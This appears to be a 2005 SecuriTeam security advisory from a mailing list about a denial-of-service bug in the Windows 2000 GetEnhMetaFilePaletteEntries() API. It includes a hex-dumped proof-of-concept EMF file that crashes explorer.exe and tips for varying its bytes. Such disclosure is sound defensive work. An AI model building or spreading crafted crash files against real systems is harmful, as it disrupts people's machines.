

# [NT] Windows 2000 GetEnhMetaFilePaletteEntries() DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0087.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 03/21/05

To: list@securiteam.com

Date: 21 Mar 2005 19:39:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Windows 2000 GetEnhMetaFilePaletteEntries() DoS

---

## SUMMARY

A program that uses the Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API function can be caused to crash when it will try to handle a specially crafted EMF files.

## DETAILS

Vulnerable Systems:

- \* Microsoft Windows 2000

Impact:

The specific impact depends on the application using the API. Generally, if there is a non-zero value in EMRHEAD->nPalEntries, the application will call this API, and pass EMRHEAD->nPalEntries to the second parameter, a specially crafted EMF will crash the Application if the address it accesses to is not valid.

The explorer.exe or a DLL called by explorer always uses 0x100 as the second parameter, and even if there is a zero value in EMRHEAD->nPalEntries, if the "end" value in the end of EMF file is bigger

## Securiteam: [NT] Windows 2000 GetEnhMetaFilePaletteEntries() DoS

than some value (0x14 may be enough), it will also call this API to get the Palette entries.

When you open the explorer.exe to open the folder which has a crafted EMF file, if you click on the file in explorer's right client area, just click, the explorer.exe will display the EMF file in its left client area which will crash itself.

Proof of Concept:

A hex dumped EMF file:

```
-----  
00000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00  
00000100 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00  
00000200 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00  
00000300 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00  
00000400 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00  
00000500 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00  
00000600 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00  
00000700 41 42 43 44 00 00 01 ff  
-----
```

If it doesn't crash your explorer.exe, change the last 8 byte's values and try again. Also changing some valid EMF files in Windows 2000 can do the trick.

### ADDITIONAL INFORMATION

The information has been provided by <[mailto:felix\\_\\_zhou@hotmail.com](mailto:felix__zhou@hotmail.com)>  
Hongzhen Zhou.

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.